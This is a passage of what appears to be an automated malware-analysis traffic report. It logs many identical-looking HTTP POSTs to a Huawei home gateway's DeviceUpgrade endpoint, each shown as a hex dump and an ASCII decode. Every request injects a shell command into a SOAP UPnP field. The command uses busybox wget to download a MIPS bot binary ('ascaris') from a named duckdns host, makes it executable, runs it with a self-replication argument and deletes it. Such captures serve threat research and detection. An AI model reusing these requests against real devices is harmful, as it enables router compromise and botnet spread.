72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 